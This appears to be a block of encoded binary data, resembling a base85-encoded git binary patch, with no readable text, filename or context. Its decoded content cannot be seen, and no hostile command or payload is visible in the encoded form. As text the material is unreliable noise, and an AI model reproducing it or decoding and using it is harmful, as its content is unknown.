zovXZ@TPcJaHaim1q$>fZgmcWuWJQQ=Y!YSncSWGVwkw$6kqO_VTC-$*<_MMC&h0*S zkZT%CJMBsesged#>rB5}HDzf72sy>`>`MA@KVh1QiOERGoN97EvZ!f1)EI>HFoLIJa1e$unF<7wI zFqFU^jNmNzbv}%v#&Xkst;>p%l98kTWfnMhV}-8z=d93l^|%e=U>75)bj~7P+v0fe zPUZ3!rHRMt2jqn$c#BvTA1HP1kDc{#Z@YmMv90wFddlB;5CaXN4En>_eU)xEA_c44l0cDjUb^4fq|f}uxZY2?HBI96^cifXWejs^#1fIW$NQ14Sk~@c8&FUJGmX;;^GDD z!j-0z?7u3w4skeAbq-c^0z`ap!FpO}Yfk!y1EA?VPE*A%TD=B;cPi7hNPl6U|30>n z+Cw6iMCj7OkU5C9H}^APNg=;3`vgae4m3V=Jj#>|!2O5r+yg44P)mVu+GlsX!tjN(`Ow{Op*pC+iH&<%ziZ z&cET#pY;C^7&ISx=B5hm&7&79n$K0@)8`94?|-iF>wFt4*t_Q6P5Nr-Uxzg1f3L^~ z7cms<@1FcqK%UFWS`ILh%lk;-%s=3Z4LSFPlD%{pDrAb!N2qWdHC7N{9i$X{`vDy9x3vF zBVK=H|9@GX-;T8M)PAcL;K4w{{^Pg~G4WxLvfVz$YPDUox?70Seton?N+RlG!oH}4 z{{BeB5tcmF>uc)D>JOW6k}27>DY_aUH7KR6eyF;HX87y*jJ30Dqi;h9d`MKN;_ zmxBCunJ&Gy*6nH^$HX67(_k_9vO#Kp*JyLva)xYYuT4!@xgn){BECF$^>;`&8}Kxu zJL3o=#)uN6o1U8^a%Q=^@WE*%qM-c6R3e;*+RV@}#QT`C<{Dr$VZIfB6L$@Rh7Z=W zD(}9cjkZbZmAgE?N_g-x5!8W0qtAPzxWax%$XBDwU%M>M;@({&mih!BGYVFe?Hpil zIL^#FE^j3SUReNcTAK>8`gn@=HK`;A^9Rv54L9o8CLq@0`U~=ty2^Gdvx5WG_QobP z2Y?}qHx$1;W`tDl-a?_XI)U|f1hgobifz&(73CF1Hl*$NZG$UorYe&lkCLWomEOv1x|cX6ns|#0**$={D?qoMknK~=vQp2dCtFM zSef9p8oR%87W?N3{Q97WU^s!z7*NtXz1G)sGRzot!CA<5Z^aWw+erBdBWRrC(d_9C zYu2zy$Oz0GEN~tHg|m{(e1BFwCqmG33lqp~u5l5TxaeXK#n#s9t_DCo<^E}|S{uwf}zHICM z9lGuYU^&32X#XDLv2DfF@U@62Z>%!JL!Z+fceymBl?Y4_c)Q*!{_QR?cQ#jP1Tc~T{GHj}lKul`G1G?$A8 zO`)b&5-%C{DK~Mp(&Ng~$$Po(KhGtg70Q{eh_iQ^u+sdUrVN`XtIo@vZghi%5@F7NZAptkInN7M;B`6gmW#rIE?=NH&ntDYIH6zh`9 zM)l{#4}y={k7e(go+NaRpY-$15E-R~)i*1pQN=S6f6NZ1COJC~k3RE+LDb?A02@m}-Az}45@95s5NqDp6%zkZ3G3<7@Z6C&l znKIbyA13(=A}cr9m%2}km^k+RD2BvAuh8o)L@;6~HK6CLwnDMUe=iirln1)hQet?q z1S2bmKL$8JP$-t7?X)4lI&cmm{@C{7Cl(+d>{FF!c7Lb;xSYX@7JsgLKs`X?*d8?- zY|0=eFafq@P5xPKU3}*UH2IzEOeP^uF5N#9DxU)T?CQ-Q>DnfbJj}Z8El6gbWM;%2 z))$){pZ*$cQFdi&sfKan=-1r0uW+uTOVJs{2eI@>Q_x-yB?N_euEim!#2Z_#AyBH9 z2?ag*b{E?$l#$Z8@<%!*#!_OhicO4_VzX`-Nf?-+=-`m6o^Q&t0czNtbgc9NQ1Nt* zf{t+_BKTx4wCj`22J^Wg?`0PccpY{_}To!LBQq(QWO$$44%41{|y_v9lIId=oiXeiA#KS1Xo|@6*sDf0NAhE-Tfqkgh~PQoaDJaKR2Zs^PW%oZULIqN z>=EYuyEN?Mo03?4#n7uEjpv{ETAwoT0njNo(bZ$cUaVxFx}VD2Dh4v)lO(V??T)0= zE}1`zdVg2DlO@*MeX6vI8X?25927f&W8)kx@$TAS8Hd}y58 zte*&pXW`HR9%YoL?QA*bj1;XIg@5`(XMR>i*o@TXo3DT8#Z0$d479#5msQ~JC*)_01m3eLG|rJZTZF}0Gu7=o-64Z`njE3e zf19HBG%}V7Sd6eGqY`S4?_K_6_koFjrN_6&!q|l@xvevnZzgH4%b-1-TyM(n;1ndC z)cta)oJ#Z!ccmxW13>opHo?b-)hZB`aqxj9@XQp8V$2#xw1E|dYDk=rXV_=}3op2v zn}`cP*=Y`4rWE81<>mFmr=`tzLkdG2Xf6R)ET;5C*1K90nSxfBK#(UbXXAMJ*K&cN53sH$)RfPP4^~%H*k~eIyL$Tc!3FR zO+H;R9!~|EWg&vbz5+f~=Zo-x2o*|hi@xWdU0!uO6X{Su zfQp*%9%GUo7NBBs|d_2jf-B@W8+fIR8hGwGHbVcFhy=m`UFM^fNx85!J zSBrPV=tcB3c_wG;e$V!d2ikl#aYMkdA6NUB6a}+w-|77uB*zy6!eC+OV6I9Q{?x%& z%d06OeN;QfFiihEw#|YT$)R&?_<%g{i1`Ifr}BhlxCAma61K~0hC5+>f|AwhrWB=~ z%kX&l`H1>_IMFLFyQ-)+%B1&rJ`djj${?l(*u~zSpw>w&j2c(Vmyvvg`Eqhj2FqA| z`Ul_zWHI7GcRb?DLpNNzr%V&aQ1Y0^js$@*IwNh_E+j6eL`Nmud^suD40O6Yn`+<$ zmAw-4AT>VF8THe(pc3u=HB#3-GqOlgHE~YZssiUd`O;~fm=b|I5F$N*!NZv1WGOW( z9a}2u5ZcrBIRo?_rP^*{P}x-E&AJxYcn83GY^PqaZwCtxaR*zTO{pW>jJ)su$e=e2 z@_pmQ=F8}#`*eCmNO40Tah8O`R{I~k68=|0=^c$HugPvA*lT9*4x$af;8JS6;#Vrc0s9zvc;rpX!srO64Cswbvm zLk1+UA)yalLrKudTC}nm?qB<8&43=)|AG=jTUW!)0*JZdhZ9Hk>rC`>TmepCzaJ@7N_ z@ocnDNPR~*2d;dSHHYsfEPk5^L%BGC1$Y!KjY90o@#J&wBb}4Nys=rveV9zPQt&{4 zhYFO6HYaQSh z_qaiAl3iIzNJST%W^o|TrS-iYvse+YlWaSys;Vo^nD=WpkdcVQ)~r{_eg8x#B#+y* z^gTx?x8Xjh9gRDlX3_R02cwbtb7WHMv0$QfAcFV``LJE|cKOQjH=1acg+ypJ7TKjk z0)r+<8q0iax}DO^Xe>XW2>F1jo4_6{{dFU?olq+pUwWxd!H;+Yjey5;$)HsL_TFlS zl5B^P*9u{#;o)(TuJ|OPA1sfI0bb}#1BX`g-1b0@0w%2QcV@TTp_Uygmsd!5_MxQqe-iU=mjBV=i?>vIr3?2u(tLKjBt_782X~+DGU8AT!)L9Bgw>6 z2%szO(}9B3C;%G@qD%tmu$RIjGaz|G<>b>D{RNnbcb7OWsY~s{5WKn?1T%XG90&{3 zFqMH8od#!fwVo|cEn35F>W9q{)5ubUoU5iMhFihNtnm3If!|2fFwI$?VYm*GgS=;|)ZSzygFry0sJJ z(4VZcCB0yRR2zY-?YOcK!%DsZdP_}pXu+M-IZA;aziHb1cs2#x*_MEavZ|iLkj#GW zKABSxwA>dS_GvsZ+7={w$T$J8QlQU6MjVKITkdiP^MLsmu!e7Bn1){f#xf3ji)A>v z!{ze~$I}L+1PK}fm4%S01#<)6q~lHlM&AbbFOvisrCz68w(u7)+arXUQnGSGkDBj@ zO|A=*u4L3s7>|g2hKa6V!=)2~I~pSQ7r&LO3ilg_8!MSeOrpc3r9H&$!KcamPrBm8 z6L<(QR+vlgZU1>pR}MrKgt0%@?Z2Zueq+ej3XW^EtbTR<%I z=df{RND~Wh3kN(#QRL+41+$SC-Z4%IFdfu*dJ_(w6=r0?uj>1VVt_kTx{6pDm?^r zUD8jm(P5@^CiCC+${AF=E{SSf;Mn4_Dx6z8v$~Bw$%#3ba5*Ux5aY=raGZ>K=8)v+ zlE$vmfs&Fj_{=G702pYtm@?JcmL>r{JsY5WAMa$}?u;AXP>>tvgoH45*e9wSPkv4a zB;L`<$Sm%N8J(4=?nOH~KeTuIHEad&PwI-6s3 zqc={K)$AXB9+&|R;7B5jtUMo|4A?=PdaBF5?`R>(0+K^l8*Nqypuu`ACeeO6zNAHQ zU;x~?;Lw8BJYw8{2lP3XU=;LLi&4sBr0Csy72N6n9IcwKIwoVAt<21vAim;%LsUNE zG`uLoTAM%%v-ylYbNPjh$#FiBXR=RL=(p7t@2fAG`jM&Y=s@M$sP2j62HuCkO`kpP z{g9-k)*IFCRJ*_k+c|PTly72f{S6oc$FO@}iNJjyk=km#ZyHqPPo(u?JLd7ck0q12 zOoo@{miTnftyF>fVMd*FrrybpueygrxTj_%Gxfs}GI&3vlH$8PmKSsvmFLUz&v!-n zf)dWBHpXm)N@P@ZmGPPP$e_eOU`h#A6%!<-C5VrNAQUQe?-MZpEI+WV<>m+%|7UO;FIp_v$s^ zV^TkS$UlD&YATU0Ld+6z6XE6kehd!I|AgWwyRGrgra3~AJd-0O2W5G&J*UPbcm0?6 zcgTw|l(1bv=xFY2cuEis6Vo>R>CLI9YQtJF!lzuX(T;_zGu+-9{dXc7b0>qt4pR=} z+rC~8QLbs&no0s+-OlBu#69E|SwMfhlTlPY1oE(GD4ocF;Fq@C-J+)m@^XI;+ z@2z}LXbN8fH-XEZ`|_+BKf*t0+rue=EX#{UuzbA>wM2BEtYuZy(i4|^_EHsnCUi3; zn5;4Zbq&IYBN|#WLwmMKG`HmQc?YxHW969ALO45;6^etc`N!*I(xO=|91469hcSbK zE1gyO%@Q6hfbi{5Q=m6zD_FJM*#05@Z7pu!$qXb)DhA(SH&{9jrtmRDEy;_HV7J!- zLc;xJbsfQ26R~8uF0$^hZv6FVu| z;=UcgN0z&TA2=UfU(xGc?yL=8wtgL$x5UnCK4S>~j6Y(n0iDnJ)Sl&my+d~>km{rh zd-zPTnhc0x6EEn>E@ZG^n4s&Y+UdNeN9FnUKgxL#=d`B!Uaj9xPRswRvbrJG>AOOO z9&)afoV6EuJjG^2;iaJk6s39btqBgXg%)4)@T`hgCm~;8NK1kRyG$Y6+ZJ(mCCl|~ z?>fR+WMttWNoun*zDymJpI2OtJz(Ti$nMj`^HM*Cwrni{u9tPHu7qho6<6#fsdUFB z=};h!vjc$ty|_59DEAt6$dYZ8j4W@2ysn;z+dnrJc%=bp$-cnO5l#9?y9}y-MjQz4 z8@8 zPi?r|?g^KA`gADgIByCx9Mo8DhVV6fT8i7xwmR@Ft-(#TJ=Ejc6Q%4-{C zjZbsq%_Ew5gDqV!^e=at4uunl4?r}d(M^$3u$ekEfdHD$q_Ht+-&aP5NZKoX(hY!uhHxtNJ(Vj^9_gq~wqLKTWQFzjB z+qp|uVxKxJ*(@`;Mm*po;6I>efUPxHqY)_XX%`ZOC4~j2ozY3=|6qa-U5hEH%vx?N zjuqd0OT5NtlHZYW^-kkaO-b=v@>4e;<6sSN_GcRS2`_j*P~Fx!7VuH~8@>c+!urnG zP4O&g(ESrmoa5Swk|bLoz4|s;c_f@C_i;NGChhllwxQfovpX`L=IqjWrp6ReZY1i# znfKrY(i(DYwcqD2gM1h$3(cRP$7-IBGM;Ff=I{OT=fwrZfj3EJnh}dHF@C{b$kUW_qt%T`ab%` zB*1=H&+W-~yZ6NXriUocK*!DdBhKF|DUaKSWmNm%WuyjLj9H@l;Lg?%x-G&g2i;$S zrUB}ASJA9Nxl zkKOech3lsiPrA${TRrZE;F84`-5jWZ-w+puWpSx6@3F3$vE-^%UQj+Qqji?wCO^dr z0hRs`CY{=<-Si)R^|f0^(072aL7V!)9a|_xX(o-b{3mXBi1baD5W@8vg;BV341!CQ z8Qyy2mvPb~d5L&RA?U5#p?5?o><#(dE=`H!$*n@4?Q&U=w6;1Z(itNp&eV;~9&A_O zC?Q8!c~pi|H7jM=KnSRoa`XYlVB&3nE<)})Ys1%+%S&+u1L!=PsKK@oi zg4+6q-<>Tplq+~`Hldy{GNZTbj=rwk(?&o8My3-gGFpHHxe#8sbFUDl?ja`*jN;cB z_VY83lrZpSPI`UMHlnpPZ=c(P01PacJPUyc0mCt@KU+>kvlfUtIQiLLa<7at{BMn| zT)m4`M>+P8_h3ffq1zba1;=N6`}jar5ijW>BLHXh)sC4m!?R)Bc=vqrIF06kuV<+Q zZ9NC)74EtiAi>l;l?oX4O;Z&oIhUh!y+sQr^e87XFazOwBCS*P)7A-{kSnkzX z3MIiF42zaALs1TssP0Cy-tENyAh%`7l?4#Bfs-1AOIi*J7-B*q=f?VfBHo7*h+jAX zrDHxa4>tjBnH>qOhus}H!wA*+f=@!6E@}QHblxNorb77a!}5xaEVd}zdI&8`M^a=e zHcIsibTiI2sCIrYUPLJ)JY`~h=BlDePFsxmM24^f#T=Idg9t*p54nn*<^KU6Wyo`X zl0b?bu>T@aQZkpF@nPq==7O}TL~s_Tm|x|7xjgx|YPR}IHQRa3-Z|~|+|U{?Z!8UY z>wS9$IKDMi!34<{Rm;N7_LlSC!N8rZ7bFVH?^*+Xnd4!99L{qKA4wAaW2MUwGNVwW zLJne8X&u6`toASAtRKoh!dX{^{E~~}#zeUB!z7{`a@ZF63U5xHwv4iZn(F+r@7VjT zvEqWRKaI@}U9(F^CSWi?p4zlRZU7qSI_>`&L<}<6Sn$nr}Q5m zzuhArRaeO0=|Ev$v^j7uo)Bc6;4_dO|?V3{J!Juav@tqmc``yB%#0m-vldnb#@7SRRNF*f+qc8H5^GJ!ZDha0Mc_0~W7T;4>E2Oyo^ zLRejqk2Kk~XQC|YY4eUh8#8crqz$P$ELoGP8{&&B<LhjpiY-Tg?My&?Q7A4g)e@>%Ps#fE}D|j-s2{H{{{6a^Cs?m!A$C_3lk_q9nf$aKuii# z_cCdu9}^_1FJDXYm%0(aSz*eACP{~wub-S7LfHZ~$ zFomf-)*riaXUp}Gl=G}bV@#omb8W?4UZtkdgwk;Nu=9OqY!0x#HVv-;=7w&5A^!}2 zf=tOHq1mv&wW}c*6R`kjw3D--$B)e>)gBcMpQ~=sNP;O6DX(st5PgZCHr*eegBu<~ z0ygzPm>=U8vi!eHLcaUxUTWl4W2ouURQGKlooVQWR_7_}1*0=PY?vX2w>yDA;`-oX z@#KNEzP|qfaUe_Jf4|{8w3ghNSZj9M?y$RLb27XF594`-smAYp_8G}=ZEu~b5d?>5 z-Rs*Z#${rQ)aA8<#`ePQ(E?Sy>|C;@BRLmx%y9*Bvu#c&99?pZbFPXkN0A*s{;4Ox zdP^p8U1?*cZy5Tqq`U@`xoFDJ%0<|41He5}%wQ?v5gHYzTF#o;uR6VLg_N zuxNXa#@bFn;J^^6?~~69S`x8GtAQgBATR;!zENH#}bY0t{cxUDioeb z?f_D-A^&Kj5C*WxmYUn^^+*h3W=3ne;xtDclbQxNA67aMTd5gR3n;nS z0-9wzECnF+>C_9dm2~ular&dr3x!LT+ z%7L;Ij(bD<{MV-8N7AEo2KP6AfYm1zBfEjkq)7{jm?Qd)IrE^AHk?e%dIT2AZnL!$ z@$O0vcws2a(kSY*-8&)pFV@0@;;`fS1XRE55FClw*f`~oMiXg8La?7-Ulu4lcEGRX zd{hV1-#P{+z6uL0Mi-SCk%*LL(0Yx7_%Df5-ymS93aqcTr0VRR_vA`HgQVR2Yjj2K z7qoO8EGSxM-0%1eiR_H}^#zlgwmA(rfoppSE+Na%I3pd3EsGhcSJEot^_KS!c!n@U zAVCDmdCEVk$kYV#1UAJXmQ!;Yob;xZin(Uts%(Fa8@YYlQiS?FaTSO) zjU^$dx*`_~blT1jTa+Cf&w{b@MeaI2(+*}7WSY;Dtm{0)Lz)-KA}F*B!*Wb#v!S_C zuuzEE=edo2Psp=bxg=_G43mNAD;l~s^$&}z)$>rl5sokMb~YJr zr2*H}h@=3oJZ`%3lvaX$UH_5Iw?iihy{;THvc{N9t&rEgLa3wP0pWb+!=jkk9gDwd zT^K_pIa-TlM9@<8KboxA1ZQlGp7{ePIF9HHsX1&_vLv1R-pxpojvLb2wdG9e5kJ@x7y8q+Jdu9CRM)v3 z0#I^&oLv+(hI73L5{OcVKEju*+|jnu`Y9 zrOyQeVS!!?X_<+~ITHnwg*I|zX;yJ> zrp$jTe>v?|W-fCm3e;V?FjuVihvPHNtdSgC>2}bt2k~%~=Y+FHCsnm#zSsd;(^fnA zux2V!S32Oo@OFd!6HpHBh#g81H@!y=&Za<6b$?zRzfVx-JVptxwK(WIQn=L=XTsZT z#`1~L0B5y!rbqKhpaH6AM%9c0gV^5c^?~eaBz8{iPh+F?FUnAbKASG?Fy0{3v1(#4 zFM5x$VvlRz=%wzmW>RIE3{chvmSWfW#m4xoB+FCA#(<}f{_Ig;Bv((z!|f(sp=_I@ zZTKG>X^!T#dveOo8PA=dl%^mN?XSIVij!b;{Mmla6_)=COZ-i)3#!Wbp|;5K{ekFm zttIUm2+{w$zi46m9~qH=va>(aZFpn9?@wqZi?r=-gAC| zh>?W~-~Qs+qQxlV`3*q@Bk=}}MJeND$N}ng`UifdU2ep>WZdXdUdQChd0wowjCpWL zrD=p1nr4b12yN}}_XmWxZn|qW0)ap#ZcqKGU-ahe+BM>`;r{*wB96Tw26?Z|MB)5^ z*v~T?GiT|#5^`#oZk%uMYUcd{yi&1)=UrgO})**ihy4@eO~tle*fI|UxhYe{tLGFi|8Ek|C%uJc`x>i znSSGSMh=F@3H&!s_;0c>+JBs017177FvMV2AAh5YcfLxC{e_Db{)-<2T^STHPAhe?!5fHN#QAoj>!fK~ zJ^ZdyxxtB20_mqA2crOLn+Gff+W~W0lzV%|PHg`37lv2~jqOUoi{-^r1D@oTu*Wjp zaD2?atR2}`^IWvk0rDtb%R+mw5EFeqO~;FKBG*5!Klh)aVXLS-ul19{aQ3Y4Fj8FSSINh@`y~Hea>N zp7mL<(gV z>GXiyXt20U76$3^vLjspSlyMGPT1r)s3w0tKh+P?RgV_9UzO7U$r7rRB4)Q<|ze%sorhg~Jr+DqRWb4>EZJ+o&8 zbEHj_!1uzN=LwQRMNA@ItR(aUPQ;xMUgI{#W^7{acm;1W!A*}W?1d_}18tgFk@da1 zY2`@`m*f!fFBVo3tc98>HD!uR*qRB#f|pu)r>`P3T)1&QzV#G;D&h*TwAcgGqr_?{ z&zb~6>}@QZ&i;&u9#HJY;w%1MVJan7oFRdL1BUw!@V8(r&}73)I^!XCP1iZk8N73+ z`0!2dDrEF2uA5hHN`R3nS~KQyi8me?hnnP7p`5D))In!vD8yF)-%!#96-N>VSmkLG zn$2TTcVdVGGHqjz1pP{6cf(rJLGr09FQNjqYfi|JhlUm2N{+IQ5Z;GhfhW`3NApUW zCTP?;O9&lIh)3&rysYDgLz`Meyl1?a57mduLnSa$|K!XkH87g%*p6>axuh;-^v)eGB4p1uZC03X*+8~5*{=O(eWgQp@0d2wx}`w3xuVsOoC zpXwb$P>lV^>kjLmx#o*C)#b)SApM5=Us_=O@pP&)+go^Y-ZkCbk$Zd8@p3CP+jsoH zHT1*j$i2#;o#JL>SgsliIEE`+%+Sh3=mIZtV8OsWiXG@$N{ ze7J#_#P43n^LE*?06QTbKaF`Xd?H&G5fdC~AP@J5y=8FEKr=OM ztns92f?)sq#-Hu2Xon2R>wq^rj&<)UOrpoqv|Wm5kWW~)GamXeUK!x?!tuC8){8~j1oGBw zCwU|}R)LJvr{}l1JTiL&S2af09@p2OKa19w3&CWZUMS205PcquA`^}cnQ;#q@ev7Y z#SEO@^p4Y@4BpEYX+%)6Q zB*wG1Vo;75UAr@K>y8Rnx)qSHvH>dp@OGqD_hft8e^suDBIP(XZo?i9Ur+*4sC03p zOX6aI*Q^5!7WXOU6Xo}YnOKY2wN)Vg*O!nhhu=Cg~&j)ln8r4>R#{4c%dCK z@BBn1lc8e#G`q^tC0Qjs@hPU`NlBSDUIc=_Lv9|-cD7X_(~E)0rc2!Gj|=scIG8g;QV?`k<$x;2cMC61Gp||1 zH8k!@ij9xIqw$}zMVl!Hn47#Q%YoU3Rw-p?KB*5)IgJx&g0G&9S~q~+11m)AOM{3! zPdo$#no^y7c0M(C=9fE{Xwu^J<71%}J1~w)we^vWxtaN^h;P$nv z73D2fQ{HvO(UmoeUWfmDCEzPSivQ6Mb;o|ciQ4b2AuZQH;V&nUc*W(CjSL_mcj&IA zc=p`ShAWWQa_y~CCACaR?6Hel023K8$j25d*;kV4?t<}ld1|Is4~UXN;}_wjCZEig zWn2S6spbc^V%tZ&`9P}^phU3&aC%mLco_;^MSXV7-*Jn>cs_g(J&}@_>{507xRmT` zf5P1FV9uetSi7FYb1K=oy^o?yKQ`D=gq>O%JB_G6E%s?@NGKOgh9k!8%~H&g!SI6AA$UhN@TrABIL(ZKO_2l+MBMR0xPM$qO%2o{^(&$Suw zPn5U6D@PRhImTINxa64)P`h=<6gqh^VX!?Tb%-Ht)`=P1fPYvT{*tn zm<7r;K-{rAHcagr3Z2a*S@^}xf!g__74x0RK2yKaEs8F_2P9?svWlv83s20=jWr{b zv2swhy>AtR!*i|w^{FtM+8sKVRy!(Q-&5WGC~l`UR^V)w4|ZS~yy!y^+l1GY)urC? zf?|KUz$@rgyukLE+>b2MWVb(=B#6G$9nW-mmV>}aSw;A8Mp}EY-a7;G-~l-Ucbpx2 z)QCzc7elhZP;<2w&_3Edar34Rc1EX8P%0B)+Rx2WnoZFOrVsW8Gk9by_U;GOel*V( z%x=>LNCaCGX~e$uRtE4AroO!TwS~aWEEUoF!Q0nkp5k7Z5uB{lZZA^bob`!gVoTuFfGS7n7nc2(dSbpRt*JU@Fo&}l zK(gCb2D>7~`}Nt?O72**xJqjvj2R60EXir`Oc{}Z#7Z%^dU-~mFqbInqi%CL{sBs9 z>X%Ql2m1%8zjGqIJAVbgZw>%aHCGzy`B<$aap@GT#T(o`IarFV#rRi4yIvN2F zWx;0Q+J-)SUD=H2ENPawLOPy}f5(eiw0$!tE{Hwb+5zZ z+!r;Xb2bO+Hf~cl3%CKgUg(e&_13A)4*29VX9rK!z)0JjNV2#4^xWnAma0hbSrHy* zTaM$%QoV--wS;<-0nCT-_+;oW2YLfwD4qlr0ZBeDp1^=xG|9JB69GvO2{P9dtbB0SoD^Pi3kRn)a6 zQUw(G*M*9YVK~uYjs_=zbhVzBP6cW{sT2gt!$e11S>!hy(a9c}&SCx^4E9Cyjoln) zsr`3`jHNnT!ZkuQ%LTqFr4R2q!!a5|Kp44_du?VaMVM=Pc?Oxz{{4(iG@AABC3R-h z+nukj z@Z?NR?__p4JRdnyScA+{2M{3fedYv6G|)h}6_pN;K~KWRu=lAWSL)<2QVMc9e8|+I zscB{6UU-rxjE(_YJl`UCfvr%Wx0DMp>P>|v=M5K)UE7oA?6ug{&hzTDHb&_h90Oz+W>YhhZGuY7lM~tUZcy_EJ7A0K_#kb_ve39AW0moRmjJa zt0aSLGTd_~THlmhKK+<>Fii=_w}xB1UTeL%+5?q%$LlI8QvUIL-;6o#>Z)Bx4*_9+Y=7Qh&4sP+x z$=}l|QYYKhY>W%vUBx>}Zcm%kHH#eS%^?UC>b)M`3L~X{Vw^=0Fa@ zWQ$of^n7JvRl(@&A?m0$8IJ{ELxMJ;(0;)JkFKoJ6LD?x@X7sqMSYQe3sfp0uot7p z6nyjzxY9$~^kN0-M&gfB+}n{VcZ-8XMY`&h>rz@;z+;UrM#f+;l}UH~A1r`H5^|V_ z4(_b^wbptJ4q|aF{qF?D0)+o;r!pdy;QEl88CYpBAtY3W88_a|MBDm#(oQV~p4U1! z&}_|E@`u&j`>!)_f%-}r;?MXDjVkhUE89l-ARQ?fsDXT5yh}A&40Y=|`CoLq7%6vj zUi#Jusq#a-^mRn+ZP|A4F`+aIqXz+ua4OA^l<8h6sPbj9RGego=o$t|s8qRb#Al8Apon^H4cE9QS426m}Ji3G9!Lw^;MU^rV@Kp#{ zt=af;dbO)!rOlIZ!1`gf=0l^CNrUm`>+!coru-R+-L*-hnF~H(mo*EitaS0nJB#mnCINp!zP88RC(t7|Lao z1`^CR4{&in2Fcjyx%-Mu%V5uR-r7UaZI^yF-AA{Fg{XD&y$15g&KC;9bEY7h?2R{Y zFWuUl6AywYB;8k=9r`Vg5lqgzqFc7Sxn~GLiL&E?>vwU>D_ytT*bg)`qwOJ5GM_k`=pEYxFKnAj2SDgZ9UHv=k0JT^L3C>f|LY zhR*eeUlX2$xyf$c-IM8fWE_Ut7aBcz%jES9J+gAd=uEeQ*4#D`iDZyvxj#%!<>_Aq z32!+jBhI0@<+X0&N93yI#$>V{boHGbDEBZ3LFu+%HreUyj=X+okm5RXE{wb^Fp<@C zh1&l4F3=)VZ+4?$gK0MAnxr_y>difpLSqC@`XbmL(AI59yJlmW_s4$3=@L!4=S^w< zxgC(fTp*flXbtartBaqi8=kgRX!p^F>|Q8(zx@E#lG1|vTdJ6BDi z!WgmsbFi3*xO|0-xVJf^Ev4zix!3WBX%Bzx(0zkd6bG$waA@!c>d(onTi=FD10oy#buoa^+SQGvPEhWRn@r$*Nefzt7qx8?qT~ z>2r_Dznm@!Uk~k5LgHdzI_opgeS-`XEA_^Mkmld?3uqdx%-?nqtEj6C<_rzG1fpX zJUSP)3jxwG&ZK+t-(P*q(ItN)NLvLxEgW5`vu07Y1vA^7V+50t#N+wK@KDd}s`pSa z*40>7*XNJNQby9*1z&r+d`5yvQ4=eTm_uT-;8UA#WyT{6zD?KK9gC++Rmm7f2%UwG zi9WO8n;mYC1aH0f&s@N3u-lHz$_Pa2xDgp!UDM0eW8{j*9HK=%MFeGZjVfGQYP6h7 z*MRwMCh|gRszQ}^{^jF4Cvammvfq8|88hti{bIfiYKcVua^$}28nov#^TFrW!A=lM z`hmj9N;&pA0di}3uFtOR>Y3e z*}n<#fUh1;hT6cf$5vceDQf_@*13b$@+La>R;-OYH}>96*P~b!fQLSECzU zqfBO`$Tzqo0h#y3!+>6Q+d}JvGi_U|0+B~UH80W8C34Q++$B;;41t_}v2E-!fA@W9 z&Gt}rAsTJ8V%T?0+d#p)7`|=jewIdwA{BM<8a(sP7~9cZ7AV6lyL*p?i(BLfEi8Io zGEC}AaJT8%ik)LZl$J}r^hh93=HuVq>V{G)VSf1?TI;s_YRiNDAOLu4yS*3D(|iTS zdjj@t7FlOYZV&bY&azI1!#D0ZdTfz1*a^2&ANLwZv@FEn4%z!wJ!rs|J?j$2R>AU_ ztV>j^#qRjCo|l8n%1usj-Rp?+@=O~qW^Jy^e2ea4vR+!;ShxjWl^)#3Qdk2fvdier zPQu!bgK~;tA+r{bs?T;yf`Xp)Zya1)dB>t@J67sHIQ!z|-t~Baf9nmBL)xn>Vx zDjv568kJaayf?y|{Uy~ssMfC}3IF9qM3Tg#tQe^ZtlWML4@i=B2@Usn2tF|VoIM{c z#h#J-8t!E^MjJ^qAx%-nYYzOy2d7@uA5x6}K*~9ve#ql1xKs;YS0PpRtrsh&FUduF z354g7Wv<@*{?I*@K@u5$dmcjfx#@?il7Yrq%=oGxpQqxlQp29PBHcNCXF0T@){Z_k zki2JT#~HLUsQZOCd$jW$ys3+g4>I5+x`-!Ndi$%Ce0(0uQO{R zUK%AQu;l$LeRui-TYc1|_y;CxNcqi=2Q!G3!<-X(ZA00vIzFcMD|E7loSC}G%{rq{ z-mpPoT1I)sn!BQspK-z!XJg6Aefd_p#ZAl1J#T-Sc^1Ax1G~F;=Tl;g*WWG>Hs5Ty zW%@(^c@OVo8`9%@R>`W<)`P!jmLnPrHO774!0#Uim+5Gl$cI&*Yh7sovTiR~fvCG% ziDA$Ey)II`Sz~H(1lkPUk2&!}Ot_*~(Xhs|!@;OO;D7kFfRw!=F>9;6i6yE(q9W*_ zaAxSP%wiavT(3ejv$Q%PwW&mEi`HOu-09s-49kAxFpC6zqbCS_9v5qNPVKb&fdpO5 zc+)Yz?pY~vFdJ{2f!oub$D3BjPWGL%@z_~Ggy?yd$|H)azhHShJj!dc=Z;(2>t%f9 zm*wL7D{mDGW{FJxJg+VR>G9aA8B<6|iFMG?p(wc00;KlPRO(vvA zzRpnQ){p==d|q5KCOe^RYS6bXwrnwRIY|D;)l9V-p^TmH3bG0cFS?@c4~AyC*&90! z2Q$|!YZrox!BJ-OZ=YY2Yiy90&;A!j;6Q}bvoPv7PI%*~faw}40=Day50dRs^9NP4 znVErhl-)<_wSY~VqkQvp8u;7-t5j&#aSXG8D4&%f=gQlW6XtGW$x%E4z z$;u4ft$!6~Qb0yylBbk>vs`Ps2z8?^_?CZwXn~Jm ze|4&Ap=5{Gx;7Zqly~7bMiSzE2m9dRq~MY#b~OLx;^(w&*D3Go6ZxuKWh!lXMU77B z92%Xpdc)dl_b$m}Hm$Yt+ClF_*QL_ZF6bONN!vbjZSZ^~xE>h%pqNnOC0_Z4++Y!d z9MkxP%3;4zKtu{BLh^o9Kr@nGGFONM3dx)*@mq=-Jdx6Gv;yQ z2a~s9vrdQ%bg4quB>lj{Jc=DXOp)==@YD;?-RUzLgmHI*sr78D9PgxC?=3D33sUsH zN+0WhZfIeNxSrMPcmx`&j0{I4YpSTipO1t;E^uqjvJm7p;BP*Tly=p04S`sYgnn;TL?WL!y*G>ZXl#^NdrB3|IFa zt)W{h218dL)Ki;o7ZKs4j3q~QJ2M}}Ol1!Pp^KgyQ3KmcFn6eoC?V!FPtF&?oI%vX z#}mznE^mS#_e!z`!oN1V^9D~A(2f~n20BLMw#ZO@$6o$QB|bk)5&w0Q8R79o=1#nk zs=h*$KF_pcZ7E6B7711{6X!W6O@`)`AkX_bB0eL1#%?>9n^}CksZ$umHL@aUDwoN{ z0372yH`O$Mdw#oNWT}=mvqL}2w9QG`-BbeGO7|ZmCb_H!6#0@f^ zv?xqg4#%T|+}Y0Hm2w9Pu_Gy6b4YKIP^+OyH5ol7pMwNsFw;7Y5MYrYDKr}O#$zJT 